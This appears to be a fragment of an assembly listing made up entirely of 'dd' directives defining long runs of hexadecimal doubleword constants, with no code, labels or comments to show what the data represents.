dd 0D974F3h, 18B4939Eh, 26E19623h, 84304E70h, 0EB8B417Dh
dd 8A3C1C4Fh, 0F4C1D4ACh, 0EEE24C53h, 22256032h, 9969h
dd 6C9930D4h, 0BC018909h, 737286ECh, 23F0DC5Dh, 0B63A013Eh
dd 8CDE43D9h, 1B6C301Ah, 0BA8DC00Bh, 0CA8000ACh, 1F83A997h
dd 8142D8FAh, 209DD8Ch, 6D93EBC9h, 787BA0AFh, 0B7070F76h
dd 32F27D8Dh, 6064A622h, 1D7218h, 30F073DCh, 1A41DD88h
dd 0FCB10F07h, 2FD01E8Eh, 7B5BF8F9h, 5D6C0060h, 98F048CCh
dd 0BCB13F9Ch, 638DFC00h, 0FE46D3h, 8F92CDBFh, 0D91F34C5h
dd 2657C101h, 50306044h, 1D5C7C0h, 1BD7512Ch, 0CCE16A5Eh
dd 1126C5F0h, 3200EE4Fh, 18845994h, 2B37003Eh, 0CE26602Fh
dd 0EC004135h, 9812EAA0h, 0E5D0A3Fh, 61831411h, 89F35480h
dd 0C2CCD652h, 0C014072h, 14E2DFB5h, 0FD062F81h, 79BE27F2h
dd 0C9E101F8h, 0D2B4DFBFh, 0A8C280D5h, 0E303D430h, 3E19006Ah
dd 0ED2CC61Fh, 3A00CB01h, 1DADFB2Bh, 61A68FFh, 1C811BB7h
dd 310008DFh, 784D5E5Bh, 22BB58h, 0E4962C10h, 209CEC69h
dd 9B40CC60h, 1E08554Fh, 4C7C452Eh, 0AE085D19h, 0A0401B6Fh
dd 34ABD744h, 64230052h, 49EC8F9h, 940ECC6Ah, 81E6502Ah
dd 139B9931h, 0A974EE8Eh, 701FA180h, 0B700911Ah, 0CB67F5Ch
dd 0CBADA2h, 0DA99D521h, 0C35D48E9h, 40C08E77h, 0BAFA1CBBh
dd 0C00F6004h, 0F87A179Ch, 81A9E439h, 985E22F2h, 5BCC6DAEh
dd 187B0039h, 1E2B3E6h, 0D10230F6h, 4609DE1Bh, 7F34C094h
dd 497A1C44h, 0AAA140B0h, 0F7C41DFCh, 66550716h, 0E3C0E600h
dd 0CA3010h, 2AFFD14Ah, 580F20EFh, 7B68800h, 0BB84EC71h
dd 4C6403A1h, 23799106h, 0BCCA73E8h, 36EF48h, 0B3814107h
dd 0AE6CE7h, 9D280E19h, 0F96BDD12h, 9CD3B400h, 96FD8F75h
dd 62840033h, 74305A2Eh, 2900F5F1h, 0E9D7F89Dh, 30A663B6h
dd 0CF4008A5h, 0D800B26Ch, 0D002FDD4h, 639E78h, 72A0FA38h
dd 6B7D3477h, 0D6FB4200h, 121FA87Fh, 0C978D82Bh, 0D71CBEBDh
dd 0D5DBC5D2h, 1618BEAEh, 31059Dh, 9F1C386Fh, 8C6283Bh
dd 20D448h, 77311DFBh, 27496CB2h, 29B5BB1Dh, 46160A7Ah
dd 0FF00AC90h, 0DE92DA0Ah, 883E03A2h, 8BE615F3h, 80BDCCA1h
dd 99F2DF20h, 1B10FEB4h, 399779EFh, 80EDC1A1h, 523850A1h
dd 0CC4BBCh, 0D98D4210h, 0F1BF8B93h, 1FD720C0h, 768966D2h
dd 0EB870C78h, 1C08DF70h, 0B0509360h, 3B176625h, 2F0095ACh
dd 408F4AA2h, 71019474h, 0C4537A84h, 8058D4D7h, 0DF31041Ch
dd 32127024h, 14E620B4h, 0D9387431h, 0AE8E008Fh, 5DAAC627h
dd 51D370BBh, 0CD416044h, 3C44D5Bh, 95720005h, 0E2656A4Bh
dd 7F0013E9h, 0BBC0E6B5h, 2274D7h, 93837D3Ch, 66FFEAB7h
dd 0A10604E8h, 0A6C7AABh, 167804D1h, 8014D61Bh, 8AFB5C00h
dd 0FEEA4907h, 7260F583h, 0C0D32FBEh, 173BBA20h, 6F53F603h
dd 0FF848420h, 51A8C560h, 0CF83E06h, 0C9D343h, 0D050DDF7h
dd 0A67FC258h, 7E74B2ECh, 2D21DB60h, 39AF53D6h, 0CFA63E5Ah
dd 0B8D90E6Ch, 380F92Bh, 9CB9D0D7h, 38A1A707h, 6A70F1C3h
dd 635902h, 0E5D4820Ah, 26D27DB5h, 0E80F1718h, 3AFAA0h
dd 6FDB2AF8h, 65791C44h, 90DA2B2Ah, 0E6DF00A8h, 589F1503h
dd 0E030C5D6h, 0C0F35BA1h, 0DF652540h, 0E0C6B629h, 83F96341h
dd 1E60ACF8h, 2410C531h, 0B2C81C20h, 3116F880h, 24801AB5h
dd 31981E25h, 83F59B50h, 0EF5A9469h, 0C86AC8F1h, 594F0085h
dd 7827F8F0h, 0C6B00735h, 0FFD63Dh, 0E31ED879h, 5D98Ah
dd 91CD8DDDh, 45AD6A32h, 65692707h, 0AE17A92Ch, 34EF7150h
dd 4F3E138Ah, 0C21C54h, 0EDC37312h, 4A2699D1h, 0EE006123h
dd 5C2784A5h, 3B060028h, 0F8CC7AC3h, 33EE6610h, 0F64239h
dd 43FE705Ah, 1EB23761h, 8006B016h, 0D055A382h, 3A07BC7Fh
dd 0FE8176D3h, 0E89BDBE0h, 15470051h, 86B21D66h, 791C7467h
dd 386EADh, 0F9100F9Ah, 6B9849h, 9B4885ABh, 6AACD6C5h
dd 0F00410D1h, 0C2952F3Bh, 0C35A3310h, 4AB6A980h, 84006173h
dd 0F80F9304h, 3383249Ah, 0E828F70Eh, 300FF692h, 48489084h
dd 0F91F4317h, 7C925111h, 21B5C211h, 708A1F7Bh, 608BF629h
dd 894A1080h, 0D1D9104Fh, 0ABEC3FD8h, 45B19680h, 63E4D0C5h
dd 0BA9B1F00h, 1EDEE36Ah, 708F0037h, 449FCD58h, 43074791h
dd 0B0084D60h, 2F3D4880h, 384C00A1h, 576B637h, 7A1C1092h
dd 1B802B5Ch, 0BD5F60EBh, 0A1D50730h, 0F5EFD4ACh, 6794804Ah
dd 200029B7h, 1FEC61BEh, 0C77C80h, 909F5428h, 0F13B26A5h
dd 0D051A900h, 12A05E04h, 64860B09h, 0C8005542h, 9EFAC06Eh
dd 723E5C7Fh, 0FBD88076h, 0F8FD7C94h, 21A00312h, 2B5DBD65h
dd 0E88476D8h, 90DD8A8h, 0A835AA00h, 0C120FCC5h, 961703FAh
dd 56E771E0h, 40059FD8h, 0FB21DE03h, 9E8562h, 0F6C8D310h
dd 0C3EE7797h, 0DD023000h, 0D6BFB724h, 0EA6F008Fh, 558927E2h
dd 3B00E8B2h, 3AE4DC20h, 2CD74D69h, 289A59FBh, 0B88D2818h
dd 5F2400A8h, 0F1AF343Ah, 16007C8Ah, 53F66603h, 0E107ABh
dd 8E9EA1D9h, 71ED9950h, 0B2E608C0h, 26576F9Ch, 0C3F9BAh
dd 39C05F2Fh, 0C9161E6Ch, 8E0340E3h, 0C8C11AFBh, 734C8Fh
dd 9FAD5C05h, 8B070919h, 9CE7AB03h, 0F077EE57h, 1E4E8F50h
dd 32B108h, 0F22DFC85h, 0E0006664h, 173D02A6h, 1BA5AD2h
dd 904854DFh, 0D45F0777h, 8765627h, 6FEA73Bh, 4D731F45h
dd 78C10070h, 721828DCh, 0DA1EAD23h, 0A85C7D16h, 4F7FD4C3h
dd 0C800B5A6h, 44F12201h, 0BE7C0041h, 0E8CA4218h, 723F58FCh
dd 0C6BCD5A3h, 4188BDE0h, 0D547500h, 182A3C49h, 6B7300F5h
dd 173481CCh, 0CFF0F459h, 648B048h, 0F76218AAh, 4CFAEC20h
dd 0DD0040F3h, 765A1A90h, 9AF22265h, 0A0080849h, 0EE750B06h
dd 0D66D0FA1h, 68415EE2h, 20652FB9h, 81046E38h, 0AFC0CFB2h
dd 39E76300h, 0EA262FD2h, 56000082h, 36ADDD18h, 0B04090A8h
dd 324300A2h, 7CEC6417h, 20005F50h, 5B94DAE6h, 3EB2318h
dd 8C02C181h, 84B8FD3Fh, 9AA0136Dh, 54005296h, 0A01ADB1Eh
dd 9D2C7Ah, 2A0DB5A5h, 0D0073AFCh, 8761FF18h, 772BE0h
dd 0A9E5AA2Dh, 155889B6h, 0DE3D2800h, 33798362h, 59350C0Ah
dd 7430CED7h, 68E57F0Ch, 8411C7h, 1179F92Bh, 0CAE157B6h
dd 610731B0h, 0CE9684Eh, 40017F70h, 0DF030127h, 0D741043Fh
dd 2DC5ECA6h, 25D4400h
dd 6F82AEB0h, 0AFFF0161h, 37861F1Dh, 0F64820A3h, 0AA445200h
dd 6D2404B9h, 0A9710A75h, 199410ECh, 0E8607E37h, 5500BFE9h
dd 0C88E9326h, 0B69A4Ah, 80D84291h, 3845075Eh, 9CB14E0Ch
dd 0D4D80Eh, 35A7C126h, 0DF649866h, 0BBC59900h, 4007F295h
dd 4BF100C7h, 253CD4FEh, 3D0069E7h, 4852832Bh, 0A3B747Ah
dd 7E2C0E77h, 72D400B0h, 0D7FE5863h, 71E3D00h, 0D1FF09BDh
dd 0B06D005Ah, 8ECE522Ch, 3B0081ADh, 2D94BE49h, 4F9F421Ah
dd 0CDA8F5h, 7D7B8D65h, 6A1251h, 2ED87DBh, 6E0B794Ch, 0EAF87100h
dd 6FFBD937h, 0B0D5027Eh, 0F23C8090h, 0A605C680h, 0F4E1B942h
dd 0C10BAF50h, 51DEBDh, 7344C53Ch, 49D400E9h, 8F87EA42h
dd 8C03FBDBh, 0CD9C439Ah, 32A18146h, 0D3B7C0h, 613BBBFAh
dd 0B67A2880h, 50F1400h, 6C9AD81h, 43E0185h, 35D85C4Bh
dd 0DC3DD545h, 0FD1215F0h, 8C40CE82h, 0A8B37F08h, 0F22C03E2h
dd 9E21D3E4h, 0DFC9A800h, 9F57FFF5h, 3EC108A9h, 7A005063h
dd 95B81065h, 0F8BF382Bh, 64324001h, 0F2DD596Bh, 0C08BB061h
dd 0CD905DA2h, 0B0347E24h, 6CE09A00h, 98539307h, 195760FCh
dd 0C4FA5AF3h, 0A7021770h, 0B9611EC3h, 0C6C060EBh, 0E35B50A5h
dd 2F7800A4h, 0AA0B7119h, 48096EBFh, 80ABE754h, 415F1D3Ch
dd 504274C7h, 0F498B134h, 0A11A0640h, 387A0B6Ch, 0DD193E00h
dd 0A3B36001h, 2A401F1Bh, 0B8BCC066h, 0AC231689h, 0D6195B00h
dd 14E7C873h, 12DA00AAh, 13033441h, 160099B0h, 47838545h
dd 984F7D1Dh, 0AF8F00C2h, 68DC32C2h, 600A2FEh, 0AEDD220Ch
dd 5E89ABh, 867BF6AAh, 3E75590Ah, 7CA45C50h, 3880404Dh
dd 1600F033h, 64BF2CF8h, 962E032h, 4E3EFE1Bh, 0A0DCEF87h
dd 0A10F4E1h, 18CAAC00h, 2FAE501Fh, 0F8B0D8h, 860C74CFh
dd 790B785Bh, 59D4BD00h, 0D2204BBCh, 8020F789h, 2FB0C8h
dd 468AC401h, 0F7512564h, 21A01D30h, 0A8F420h, 54EADAA5h
dd 0C0E74070h, 53D45D07h, 5CE0A32Fh, 2F1D636h, 0B65BDAC4h
dd 1C600CCDh, 7F0CB044h, 100D9C8Dh, 62380136h, 7DCA511Dh
dd 0D5F570D8h, 0AEFD8D03h, 53D0A7h, 0AFCEB929h, 0FE222C16h
dd 65737D00h, 3BE31B0Bh, 0FF8BFh, 9793E055h, 5488017h
dd 743A6300h, 0CF4736C3h, 58EA000Fh, 211891F0h, 613C2708h
dd 579700E0h, 7AC65292h, 0E434034Fh, 1F4BCB01h, 2A7BECD8h
dd 120077ECh, 0E6E052DEh, 1D196FA5h, 40AA7AF0h, 0F8CCA6C4h
dd 0C000056Ch, 0E4A86B59h, 3CE3732Bh, 0CE80625Fh, 0C68EDCFCh
dd 0C100E057h, 87BC31A1h, 0F87645h, 0D4AAD3C0h, 2A5A7E63h
dd 0D8EC1600h, 53374FD7h, 0DC1C0047h, 598ED2E7h, 5A07D649h
dd 4B5F84F6h, 0B498EA80h, 68390050h, 1A44A4Dh, 300910Ah
dd 0CEFB4E9Dh, 0F8528A3h, 0C5FA3318h, 7DEF8A0h, 0EA07C921h
dd 3CCEA947h, 93350F90h, 74E8A5h, 8166B3FEh, 3D42B260h
dd 0FFC8CA00h, 1C155149h, 1FB70772h, 1AB4A8BDh, 905300B9h
dd 5F3337CDh, 0BBA03C00h, 0C0E94402h, 0A37848h, 0E069886Fh
dd 71C2FF14h, 0EA527B00h, 0EF160256h, 3EF007ACh, 501B1027h
dd 83A1D376h, 0EB059C07h, 5590024Dh, 26DC0Dh, 2E6A4EA9h
dd 6814E58Ch, 57DFD303h, 0C0EB863Ch, 111D0EEh, 181A15F4h
dd 61C5E14Bh, 0D1D8F735h, 8409FEB4h, 722B7Ch, 0BCA1EA00h
dd 0A05C0180h, 6E14734Bh, 94E18029h, 66880BC8h, 0DFA91EB2h
dd 0EC3180A4h, 0F38F2105h, 139FDA01h, 2253E56Dh, 0C543AC40h
dd 76500069h, 0F8B6A24Ah, 9A009834h, 0E009E966h, 8C372Ch
dd 8E675E03h, 365A1BB0h, 8B4C3Fh, 0D3CBE6B8h, 2C98493Ah
dd 2F3C22h, 0FAFF2E18h, 0E004E28h, 6BC81E3Fh, 1660716h
dd 0A0E07315h, 429FB843h, 33614794h, 0E0F5D110h, 0D8C1830Ch
dd 1D468D53h, 31002826h, 631B072Fh, 9F00D182h, 27DAF690h
dd 75C3076h, 600B6F3Ah, 2356A06Eh, 2803C338h, 0ED96D048h
dd 0F0BFC91Fh, 12AC0F8h, 0B7A543D1h, 0D0825AABh, 1A005DD6h
dd 0F75267F4h, 732AD72h, 196A6F45h, 50381CBEh, 0EE6E2A00h
dd 0B2B5D1FEh, 0C3783AE7h, 18969C80h, 77E5A69h, 138533Fh
dd 0C423F2CDh, 4020C9E7h, 50BCE6D4h, 3085C08Eh, 0F23E380Eh
dd 5800D9D8h, 0F1729C6Fh, 0A8F11h, 748C1C28h, 0B84D250Dh
dd 0E844171Ch, 88579040h, 258521D4h, 8BFE947Bh, 63001137h
dd 0B93035h, 3F6DA771h, 5EF4F93Ah, 0E0804950h, 79318775h
dd 892EE054h, 284DAF20h, 0BCDE1Ch, 2D6078B8h, 8307BF3Fh
dd 0C980A8DEh, 16531940h, 5FA007Ah, 8E39DE28h, 0DB3E6B47h
dd 0B338F925h, 61800091h, 540AC1FAh, 750B0333h, 2AE03BCDh
dd 3C48A2B2h, 8D00F4C4h, 0D4487F6Ch, 3570E51h, 32C9CC8Ah
dd 0D407F022h, 6052C0E8h, 5677FF67h, 0D7F80460h, 0B7C20074h
dd 178EE44Dh, 0D4007572h, 0E7736847h, 1D3E2B6Dh, 407F2E3Fh
dd 62C3E5EEh, 1D005D57h, 59E7E015h, 3C21942h, 3C70DF5h
dd 95A828CDh, 1600DA9Eh, 8104438h, 4EE30Eh, 0ABEA5BC2h
dd 0B6F1E9B9h, 2F188300h, 6DAF3852h, 9AC706F3h, 68EDF60Fh
dd 106A6B00h, 0D9093C1Dh, 41FA0363h, 0D7D572BCh, 0AA8646E8h
dd 1FBA053Fh, 0F2008B6Dh, 0AF8207EBh, 0E3B7006Ch, 0F58404A6h
dd 0CE399FE7h, 5C9B8034h, 6C8C5544h, 0B4671266h, 9994403Fh
dd 0D4B2A3ABh, 0D2229403h, 98BB870Ch, 80BF31h, 0BAD88BADh
dd 0E452ACBEh, 878A7500h, 65769862h, 5FD10ECDh, 45A9BB6Ah
dd 0DB2B400h, 0AB024787h, 33B8BE68h, 6D4A025h, 2639B89h
dd 0D9C48EA3h, 96E03062h, 35004A3Dh, 7F037B8Ch, 186CD2F6h
dd 0A1E77E60h, 8007931h, 75DA47CAh, 84C6AEh, 88430E6Ah
dd 426D9690h, 0BC35B1Ch, 0A8215900h, 666489h, 437D57DBh
dd 0DD47FF16h, 0E7EE4890h, 593A90Eh, 40997890h, 0E61D2CACh
dd 0A204005Ch, 65F2E9ABh, 0EDE04F03h, 81F59Fh, 80CA9CB0h
dd 66D23214h, 6C054216h, 11AC1841h, 34F9D012h, 0B39B80DAh
dd 1F5FAAEh, 68FCC3C0h, 606DB6E0h, 703F361Fh, 0F10B7D88h
dd 80D375BAh, 964F53AAh, 90AA0083h, 281755A2h, 0CE60FC52h
dd 9B71F560h, 0DBB30465h, 0C0C6ED9Dh, 30D27444h, 3709D800h
dd 0EB8FD36Ah, 0B5F2CAEh, 3862832Ch, 0CCC9B86Ch, 50608043h
dd 28B6C959h, 75A1281Bh, 0CD8100FEh, 0D31F231Ch, 2E02474Bh
dd 0CEFDB2D9h, 0A724C0D8h, 430F13F5h, 0DCA4400Dh, 0D178BE53h
dd 8B298F04h, 48C055B1h, 0F508C9C8h, 761060h, 8872DBE1h
dd 695DF882h, 0C8F1E700h, 0E6A89152h, 3B7D77CDh, 0D780D838h
dd 954ADC9Dh, 6901E051h, 88A4B20h, 0FED847E6h, 4FDE0019h
dd 9B738ED3h, 5E006F0Ah, 45DC819Fh, 6D99C3h, 1152714Eh
dd 7495E4AAh, 0A70766F8h, 3FAE02C1h, 0A0D52023h, 1F1094h
dd 440EB763h, 9EA33211h, 38F7A730h, 0F14802h, 0FBF52F45h
dd 0D14CAEFFh, 0B41A3606h, 9956E8h, 0A9A3F48h, 0C74A98F1h
dd 34AB721Eh, 0EFFF0140h, 4BB22Fh, 0F0D48C6Ah, 0A0B01EAAh
dd 5CF7ED0Fh, 9836C0DBh, 3F38ECA8h, 75EE6Fh, 76759ABAh
dd 0FA2DD4BDh, 0FB61FF00h, 28E5B471h, 14FC09B5h, 160396ECh
dd 1A883808h, 61F9E7Ah, 803B2568h, 0A451AF4Ah, 75270ECDh
dd 0E0DC0133h, 4D1BA38Eh, 93A7DFA6h, 0D1E03A35h, 3214AF66h
dd 1A4DF0Eh, 914537B7h, 2BDC9857h, 258E00F8h, 0FB8007A9h
dd 7B00CEC6h, 0E3491B61h, 1E66AD0Ah, 8015348Ch, 0DBE54169h
dd 3200DC60h
dd 42742835h, 72BB0C3Ah, 0C7120111h, 13E2471Ch, 0CCD4D475h
dd 1BAAA200h, 2D48049Ch, 9EFF0FDAh, 0CB20C1DFh, 6ECAB6E2h
dd 7EA2A00h, 0E4EDB492h, 5FA6A0A7h, 75EF0542h, 81639DE5h
dd 0C402F501h, 0BF070E69h, 0BE8ED268h, 4F4879B0h, 5DEC1D30h
dd 0F1EDC0BAh, 1744F7C6h, 0DC57341Ch, 7E1898A8h, 53986C16h
dd 1E430084h, 0FB3AADE1h, 7C00C7C4h, 0F14A8C5Fh, 5B7437h
dd 4C4E3E1Bh, 0F9255238h, 0BCA0830Ch, 6A788DAh, 1E622618h
dd 0E1F250DEh, 0D6E0B900h, 0D3DF5B4h, 0D87F412Ch, 0F90F2668h
dd 808F4E75h, 0C1BD153Bh, 972B0088h, 0AF6103A5h, 983B71BEh
dd 4DB0023h, 0CE50B96h, 0B59EA0DAh, 0EC2139DEh, 40C27E81h
dd 2083707Dh, 0F31CD308h, 4CC06056h, 72DC512Eh, 89610C5Ah
dd 9298D712h, 2A6A8300h, 0DF16919Dh, 0D376AEh, 1355DCF3h
dd 0CC06D1D8h, 0FEB38B00h, 9938692Eh, 8FE09718h, 3A005E27h
dd 25E2B7A0h, 0B673E8h, 0FC07736h, 51C21DD1h, 0FB976A01h
dd 0B29BF619h, 12C31440h, 1D3D3AADh, 0F595BD82h, 0B080EE67h
dd 403008E6h, 0FFCDA603h, 0C8E0E37Eh, 124F98h, 0D6544642h
dd 0D5C193F6h, 9A06C807h, 91F08CB4h, 0F613B97Ah, 0E2B8BAh
dd 1138755Ah, 44861D35h, 0F89B3A09h, 0D78000E8h, 62550Fh
dd 0A91B2360h, 656FE199h, 3573DB00h, 4C6BC9F0h, 0E6AE3DB7h
dd 1C37E26h, 3FB20917h, 0F080E65Dh, 4E1537C6h, 0DCF00E02h
dd 80DFD7C5h, 0C14251A8h, 361400F5h, 0A1F8C3B4h, 0AC093160h
dd 2A446Bh, 4D116D40h, 0B3E320EAh, 0C5C04301h, 3AFBC78Dh
dd 24B47DF0h, 8038FFEFh, 0ED09422Fh, 3E1EC371h, 0FD806DBEh
dd 107391E0h, 0A91C6036h, 2CB12D9Bh, 408C6000h, 848D1572h
dd 3F30C0BFh, 0A86EF8A2h, 2D7FD30Fh, 0CDD097Dh, 3C09C0F4h
dd 1E81F67Eh, 9A19A60Bh, 0DD7C3043h, 0B105AC00h, 3F93EAF1h
dd 67EF3DC5h, 621D3B1h, 888AC6F0h, 0C05D1FF8h, 97F54B2Bh
dd 5B02628Fh, 0BB753DB4h, 8234E025h, 0DEF70035h, 91BF7283h
dd 66003FDBh, 18409221h, 7AFBE16Ah, 6513C70h, 56643FFFh
dd 830F779Fh, 4D2F7E8h, 0B17E32C8h, 13D0E900h, 4EC31C3Ch
dd 0C6DB140Ch, 63F98F0h, 46601009h, 31E2480h, 3900E8C1h
dd 0E622F36Eh, 16D6B773h, 1FF46033h, 0EC554037h, 999D31AFh
dd 56F5F300h, 947AA6EDh, 0D5320998h, 20008BFEh, 4807583Bh
dd 1FDD2A03h, 0D8E3C23Ch, 32CFD10Ah, 9899B1B7h, 0D02AC381h
dd 8C10F412h, 0B869BA00h, 49C7CA3Eh, 0A926033Ah, 7AE2611Dh
dd 0D440418Ah, 82003481h, 0BB76CE68h, 1C96CFh, 0CCB5E1D5h
dd 3A9BF522h, 0D009B600h, 8CD8FDE6h, 0EA8101FFh, 4D77C2D2h
dd 4BF7DC7Dh, 0BB279200h, 0BADBC69Ah, 82C5009Dh, 0FD1F22B3h
dd 6900D5A3h, 71E17FFCh, 12C1CC25h, 3D73BAEh, 4F1D59A8h
dd 24E7BDC1h, 31802D3Ch, 402B0084h, 2B6CB33h, 0A809ADB0h
dd 9F4E1Ch, 0E9927D8Ch, 80E707B1h, 637C055Ah, 76D2AFF7h
dd 0BABE0880h, 9600A608h, 0DF5C8FE2h, 2C7D89F1h, 886CF2h
dd 7599687Ch, 0ADE20C8Bh, 9A49F800h, 770741BEh, 0DD13036Fh
dd 0F8B14EFh, 3AE02020h, 4E1F10A7h, 0B990E01Fh, 0A100DEF8h
dd 0B1AD839Eh, 90FCDC04h, 0A3E400D4h, 8E528693h, 1E0040C8h
dd 90C578A2h, 37B03CBh, 0A0C6269Fh, 5601D470h, 0C4140CA9h
dd 0CEDF76DDh, 0E9410081h, 0E5CBA5ABh, 0F00ADB34h, 50717780h
dd 3820431Ah, 0A1A7495Ch, 0F0C08C28h, 5BCF0081h, 1B34DF9Bh
dd 8A043A71h, 0DA0F0C5Ch, 355FB0h, 5227494Fh, 0A153DED1h
dd 8691B23Eh, 0D061ED6Dh, 1BC47F58h, 69FC0FEBh, 0AC043AC5h
dd 9BD3061h, 43E18510h, 0CEE30E05h, 0D8029633h, 800BEFC7h
dd 82B761D4h, 853F0C16h, 672945FBh, 0C472284h, 0B119B42h
dd 1F5B211Fh, 0CF22A2A8h, 1B4A2281h, 62118F42h, 51733012h
dd 1C5306h, 0D525F724h, 146BA5A7h, 2AF00C30h, 65B8E4h
dd 0A66E216h, 42C81B7Dh, 34B25Ch, 0C50C8089h, 7725BD4Bh
dd 0E7ED0081h, 98F852D1h, 0AD0007F3h, 0BC4B4945h, 0E637DFh
dd 0FC997DAEh, 0D46432ABh, 0ECEFB500h, 0C033933Bh, 0F42F001Eh
dd 0FB91F14Bh, 0B40009E8h, 19052C42h, 4FF39Bh, 0FE28BB52h
dd 80E07746h, 92D2FA00h, 2FC858F6h, 99D31CEAh, 8AEE4037h
dd 7D0DA6A0h, 93EBA15h, 0A30075CCh, 6A3018F0h, 7327E2Eh
dd 36FE8350h, 7CBE51F9h, 8B888505h, 67C1C760h, 0B1E07839h
dd 28C60008h, 5B9A1DEAh, 0DC50226Ah, 0E1C05FF4h, 0BA314F97h
dd 947F45h, 660AA42Dh, 1B02E87Eh, 6514AD00h, 873B8F3Ch
dd 50F00062h, 0F2D9B839h, 0A707C3A2h, 366EA4DCh, 248E6A20h
dd 958D0089h, 8A69B2BDh, 0CF060E77h, 6EEC4D48h, 5ADF3B20h
dd 6382B080h, 9FFDC63Fh, 0BBE8CA07h, 9D137281h, 0DD280393h
dd 0AC45531h, 307FDE8h, 0BF718007h, 0DAA05737h, 2E8DE51Bh
dd 14E24h, 0E174CB25h, 0EC386FD6h, 0C1D08014h, 86E278B9h
dd 6B70C0h, 82E30626h, 14A90AD2h, 38D0D90Eh, 0FEEB4722h
dd 0C3A0BCF0h, 7B1200F5h, 7355FA60h, 0C0A0C1C6h, 440067FDh
dd 0DE44FC4h, 7D6F2293h, 3B7F61Ch, 79FFD614h, 40D03B26h
dd 284E1EDEh, 540009ACh, 22B5DBC5h, 0F83FD5B7h, 23BE8069h
dd 5A3B0325h, 567600FBh, 33521007h, 5492C574h, 0A323A700h
dd 61AAB5DDh, 0C38A2657h, 34D4009Eh, 8DFB5912h, 80BAA101h
dd 1E5DE03Eh, 6823420h, 9DD432B0h, 9402101Fh, 0DE29155Ch
dd 0F52840F4h, 93C940FDh, 7B09DF0Ch, 12152814h, 0ED926CCh
dd 0C8E3014Ch, 23A9B79Dh, 0F7208012h, 0AC6C8BCDh, 7CA20E6Dh
dd 732044C2h, 0C915C848h, 361C9714h, 76B100E8h, 1465EBBAh
dd 256E0013h, 0AB64FCD8h, 0B018C50h, 74212D73h, 0E2F02EBEh
dd 0F710039Bh, 0D296F6FAh, 5126D880h, 68039F7Ah, 0BFC197CBh
dd 0CAB8E8EFh, 0C9660062h, 0F038C69Bh, 400058C3h, 4492E89h
dd 0B3E9D1h, 25462DE3h, 37124783h, 0D34CF901h, 4A24DF85h
dd 1D74C6F0h, 1FC8BF7h, 0D29A6CB7h, 72D9FCE1h, 0E7835B00h
dd 81BC3C8Dh, 9FF0096Eh, 3480E4C1h, 83283932h, 6D357800h
dd 0C0DC16EFh, 0CD7B0Fh, 0BAE0979Ch, 1555F699h, 0B08CAF00h
dd 0E2C6D26Ch, 0F83C0037h, 0D324AEF0h, 7000951Bh, 0EC164247h
dd 201F6C0h, 3A8806A2h, 0A540A599h, 2900D5AAh, 300F22EFh
dd 19AE5CFh, 63A6E03Dh, 60EDA7D1h, 0A500E890h, 0E3A0FE5Ah
dd 6E379Ch, 2A8CD4F2h, 0E1FC29FAh, 0A10F5Ch, 0F31BCD25h
dd 1C404EAh, 73994590h, 0E51C0985h, 3938F453h, 4D8BBD0Eh
dd 5680FF26h, 9BC8EE76h, 0BA2200CBh, 7B7461F4h, 1D00AE7Ch
dd 8ACC972Dh, 49E31Fh, 0FE9A33B1h, 0C34F257h, 177A8701h
dd 8F81D4B7h, 105DC0h, 0BC94D31h, 0D0908D11h, 3D7AEA7Dh
dd 884E6F30h, 730D378h, 0C1EC2662h, 78C8397h, 2CFC52B8h
dd 19631403h, 0D28AB3CFh, 83A0E06Eh, 0E77033h, 7055F0BBh
dd 0A2ADCFE0h, 9CD28B00h, 0DA8F87A3h, 8EC601AAh, 0B8DE3274h
dd 6A58FE97h, 91DC5D00h, 192643BEh, 14BC7221h, 0E013A669h
dd 0C04E681Ch, 96AD890Ah, 7401AA99h, 0E223A08h, 80EE1485h
dd 1E32C9D3h, 101560D5h, 79F69A94h, 1BB36807h, 0CE70D936h
dd 0E0FF69h, 6EDA272Bh, 569BA095h, 0B8798500h, 2C69EAAAh
dd 0D310005Bh, 0F9AE0BC5h, 0A91F33F8h, 2440F3D6h, 0B5CAD201h
dd 788507FAh, 0D190972Bh, 0F4DC06ADh, 20002315h, 12839B0Bh
dd 25378h, 5B9333BFh
dd 0C35C4B0Ah, 9539D200h, 0FE5480C5h, 1DE2004Eh, 0D4A91934h
dd 0DF005B01h, 9C843B14h, 2CC56EDDh, 560CEBh, 242E568Dh
dd 3A03D56Ah, 34CAB7DEh, 1F29E080h, 15D70053h, 26F814BBh
dd 2C006858h, 0DC0E7E8Eh, 19D9E257h, 48D4B06Ah, 26C9302Bh
dd 890E7272h, 702EAB9h, 2F70DD56h, 72B79h, 963DA6DCh, 0E32ACC74h
dd 38158C00h, 9E410825h, 37A5005Dh, 77D58A12h, 16003A2Eh
dd 0C7FCD3AAh, 4F18E3h, 244BB27Eh, 6C44BA86h, 4DAC7700h
dd 730423AAh, 0CA9B0054h, 11809C32h, 31006F7Ch, 7526697Bh
dd 140B714h, 0FC83D45Ah, 2059647Dh, 2D139A33h, 35008FD5h
dd 725680FEh, 5BDB0014h, 0F7BA95C0h, 340076A8h, 4579067Bh
dd 0F452B1h, 0CEE611BEh, 7E67A51Ch, 468AE0Ch, 3001391Eh
dd 92311FB0h, 5C00732Ch, 52EFD94h, 0C0B5237Fh, 0F1A55229h
dd 0F6003CECh, 36D10C53h, 0FC8A8Fh, 4F8CC497h, 73ED7FA1h
dd 2EBF2912h, 0F6D50400h, 778D26h, 0FDF1256Bh, 8B9152DEh
dd 8F839501h, 0CEB9AEC2h, 5B7C18A5h, 0CDDEE00h, 0A567F9h
dd 416BB04Bh, 0F4DFAF25h, 23E54D01h, 505F2FD0h, 1EC5E8ECh
dd 406A4749h, 91CA7DF6h, 1C18D3F3h, 7780D0A4h, 615B7AEFh
dd 0C6909080h, 0B14EE053h, 0B2AF48h, 0D316C7C8h, 4002A0h
dd 208BA17Dh, 6932988Ch, 95A8EE00h, 0EC3AF6C9h, 0C6C1408h
dd 4F0194E5h, 765FDD91h, 2F95E8F5h, 7878963Ah, 3E00F97Dh
dd 5873F862h, 0FACF72h, 8A1C92E2h, 69EB5C65h, 0D7A0600h
dd 15FCC0D0h, 6A6F1284h, 5F0435Dh, 0C7A8F98Ah, 0D0090C9h
dd 3E374DABh, 309AE01h, 73B3463Fh, 60FF5A4Ch, 70B4B950h
dd 0C0E45800h, 0EDB6A07Eh, 0B761386Bh, 399A8100h, 227AEC36h
dd 0CCA1320Ah, 0F0008C2Bh, 6253CB9Ch, 92830E08h, 0AB21C3CFh
dd 708CDB5Ah, 0C500C922h, 0F849055h, 0ECD29Eh, 0E55929C3h
